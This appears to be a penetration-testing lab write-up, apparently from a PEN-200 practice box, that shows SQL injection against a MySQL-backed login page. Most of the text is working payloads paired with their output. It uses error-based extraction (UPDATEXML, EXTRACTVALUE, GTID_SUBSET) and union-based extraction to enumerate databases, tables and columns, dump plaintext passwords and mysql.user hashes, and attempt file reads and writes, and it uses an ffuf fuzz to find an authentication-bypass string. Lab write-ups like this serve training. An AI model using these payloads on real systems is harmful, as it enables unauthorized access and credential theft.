SQL Injection
The discovered login page appears to be vulnerable to SQL injection as sending a single quote character,
'
, to the username
parameter resulted in SQL error.
Based on the error message alone, the backend appears to be MySQL.
Error-based In-band
' AND UPDATEXML(1337,CONCAT('.','~',(SELECT version()),'~'),31337) -- //
Using UPDATEXML method.
The version is 8.0.41
' AND EXTRACTVALUE(1337,CONCAT('.','~',(SELECT database()),'~')) -- //
Using the EXTRACTVALUE method.
The current database is blazeDB
' AND GTID_SUBSET(CONCAT('~',(SELECT current_user()),'~'),1337) -- //
Using the GTID_SUBSET method.
The current user is admin@localhost
Databases (Error-based In-band)
' AND EXTRACTVALUE(1337,CONCAT('.','~',(SELECT schema_name FROM information_schema.schemata),'~')) -- //
A single row is expected
' AND EXTRACTVALUE(1337,CONCAT('.','~',(SELECT schema_name FROM information_schema.schemata LIMIT 1),'~')) -- //
Using LIMIT to set the amount of row returned. 1
in this case. It’s the first one from the top
There is a DB, mysql
' AND EXTRACTVALUE(1337,CONCAT('.','~',(SELECT schema_name FROM information_schema.schemata LIMIT 1 OFFSET 1),'~')) -- //
Using OFFSET to change the row
There is the default information_schema
DB
' AND EXTRACTVALUE(1337,CONCAT('.','~',(SELECT schema_name FROM information_schema.schemata LIMIT 1 OFFSET 2),'~')) -- //
Using OFFSET to change the row
There is the default performance_schema
DB
' AND EXTRACTVALUE(1337,CONCAT('.','~',(SELECT schema_name FROM information_schema.schemata LIMIT 1 OFFSET 3),'~')) -- //
Using OFFSET to change the row
There is the default sys
DB
' AND EXTRACTVALUE(1337,CONCAT('.','~',(SELECT schema_name FROM information_schema.schemata LIMIT 1 OFFSET 4),'~')) -- //
Using OFFSET to change the row
There is the current blazeDB
DB
blazeDB
Table (Error-based In-band)
' AND EXTRACTVALUE(1337,CONCAT('.','~',(SELECT table_name FROM information_schema.tables WHERE table_schema="blazeDB" LIMIT 1 OFFSET 0),'~')) -- //
The sole blazeDB.users
table discovered
blazeDB.users
Columns (Error-based In-band)
' AND EXTRACTVALUE(1337,CONCAT('.','~',(SELECT column_name FROM information_schema.columns WHERE table_schema="blazeDB" AND table_name='users' LIMIT 1 OFFSET 0),'~')) -- //
The blazeDB.users.id
column found
' AND EXTRACTVALUE(1337,CONCAT('.','~',(SELECT column_name FROM information_schema.columns WHERE table_schema="blazeDB" AND table_name='users' LIMIT 1 OFFSET 1),'~')) -- //
The blazeDB.users.name
column found
' AND EXTRACTVALUE(1337,CONCAT('.','~',(SELECT column_name FROM information_schema.columns WHERE table_schema="blazeDB" AND table_name='users' LIMIT 1 OFFSET 2),'~')) -- //
The blazeDB.users.password
column found
' AND EXTRACTVALUE(1337,CONCAT('.','~',(SELECT column_name FROM information_schema.columns WHERE table_schema="blazeDB" AND table_name='users' LIMIT 1 OFFSET 3),'~')) -- //
The blazeDB.users.phone-number
column found
' AND EXTRACTVALUE(1337,CONCAT('.','~',(SELECT column_name FROM information_schema.columns WHERE table_schema="blazeDB" AND table_name='users' LIMIT 1 OFFSET 4),'~')) -- //
The blazeDB.users.username
column found
blazeDB.users
Credential Exfiltration (Error-based In-band)
' AND GTID_SUBSET(CONCAT('~',(SELECT password FROM blazeDB.users WHERE username='admin' LIMIT 1 OFFSET 0),'~'),1337) -- //
Password exfiltrated for the admin
user; canttouchhhthiss@455152
mysql.user
Credential Exfiltration (Error-based In-band)
' AND GTID_SUBSET(CONCAT('~',(SELECT user FROM mysql.user LIMIT 1 OFFSET 0),'~'),1337) -- //
admin
user
' AND GTID_SUBSET(CONCAT('~',(SELECT password FROM mysql.user WHERE user='admin'),'~'),1337) -- //
canttouchhhthiss@455152
is the password. Same as the web credential
' AND GTID_SUBSET(CONCAT('~',(SELECT user FROM mysql.user LIMIT 1 OFFSET 5),'~'),1337) -- //
The default root
account
' AND GTID_SUBSET(CONCAT('~',(SELECT password FROM mysql.user WHERE user='root'),'~'),1337) -- //
canttouchhhthiss@455152
is the password. Same as the web credential and that of the admin
user
Additionally, it leaked the web root directory; /var/www/blaze.offsec
Read Access (Error-based In-band)
' AND GTID_SUBSET(CONCAT('~',(SELECT LOAD_FILE('/etc/passwd')),'~'),1337) -- //
No output
Likely access denied
Union-based In-band
' UNION SELECT NULL,NULL,NULL,NULL,NULL -- //
There are 5 columns as enumerated above
' UNION SELECT NULL,@@version,NULL,NULL,NULL -- //
It’s the 2nd column that is visible
The version is 8.0.41-0ubuntu0.20.04.1
' UNION SELECT NULL,user(),NULL,NULL,NULL -- //
The current user is admin@localhost
' UNION SELECT NULL,database(),NULL,NULL,NULL -- //
The current DB is blazeDB
Databases (Union-based In-band)
' UNION SELECT NULL,schema_name,NULL,NULL,NULL FROM information_schema.schemata-- //
5 DBs;
mysql
information_schema
performance_schema
sys
blazeDB
blazeDB
Table (Union-based In-band)
' UNION SELECT NULL,table_name,NULL,NULL,NULL FROM information_schema.tables WHERE table_schema="blazeDB" -- //
The sole blazeDB.users
table discovered
blazeDB.users
Columns (Union-based In-band)
' UNION SELECT NULL,column_name,NULL,NULL,NULL FROM information_schema.columns WHERE table_schema='blazeDB' AND table_name='users' -- //
5 Columns
blazeDB.users.id
blazeDB.users.name
blazeDB.users.password
blazeDB.users.phone-number
blazeDB.users.username
blazeDB.users
Credential Exfiltration (Union-based In-band)
' UNION SELECT NULL,GROUP_CONCAT(username,':',password),NULL,NULL,NULL FROM blazeDB.users -- //
Credential exfiltrated; admin
:canttouchhhthiss@455152
mysql.user
Credential Exfiltration (Union-based In-band)
' UNION SELECT NULL,GROUP_CONCAT(user,':',authentication_string),NULL,NULL,NULL FROM mysql.user -- //
Credential exfiltrated;
admin:$A$005$Qg/"*JP
s!rrkudEg,JuvICGCXAsSpnRB83RwsEHL7G/XKu8Mlg7pkbGc/0PB
debian-sys-maint:005]SW<Ixv#ZK[@TBcaGf6Oko5CBq1m15xfVMg9n1oodw45BFgV7epnhBL5`
`mysql.infoschema:ATHISISACOMBINATIONOFINVALIDSALTANDPASSWORDTHATMUSTNEVERBRBEUSED
mysql.session:005ATHISISACOMBINATIONOFINVALIDSALTANDPASSWORDTHATMUSTNEVERBRBEUSED
root:`
Unfortunately, some characters could not be rendered
Read Access (Union-based In-band)
' UNION SELECT NULL,LOAD_FILE('/etc/passwd'),NULL,NULL,NULL -- //
No output
Likely access denied
Write Access (Union-based In-band)
' UNION SELECT NULL,"test",NULL,NULL,NULL INTO OUTFILE "/var/www/blaze.offsec/test.txt"-- //&password=
Access denied
Time-based Blind
Word,
sleep
, is a blacklisted word. Redirecting user to the blocked page
benchmark
seems to be blocked as well
N/A
Automated
Time-based Attack succeeded but broke the web app, so not viable
Authentication Bypass
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/cockpit]
└─$ ffuf -X POST -c -w /usr/share/wordlists/seclists/Fuzzing/Databases/MySQL-SQLi-Login-Bypass.fuzzdb.txt -u http://$IP/login.php -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=FUZZ&password=qwe' -ic -mc all
________________________________________________
:: Method : POST
:: URL : http://192.168.152.10/login.php
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Fuzzing/Databases/MySQL-SQLi-Login-Bypass.fuzzdb.txt
:: Header : Content-Type: application/x-www-form-urlencoded
:: Data : username=FUZZ&password=qwe
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: all
________________________________________________
'OR 1=1-- [Status: 200, Size: 806, Words: 81, Lines: 16, Duration: 23ms]
'OR '' = ' Allows authentication without a valid username. [Status: 302, Size: 769, Words: 69, Lines: 29, Duration: 23ms]
<username>'-- [Status: 200, Size: 808, Words: 81, Lines: 16, Duration: 24ms]
' union select 1, '<user-fieldname>', '<pass-fieldname>' 1-- [Status: 200, Size: 809, Words: 81, Lines: 16, Duration: 24ms]
<username>' OR 1=1-- [Status: 302, Size: 632, Words: 48, Lines: 16, Duration: 25ms]
:: Progress: [5/5] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::
'OR '' = '
works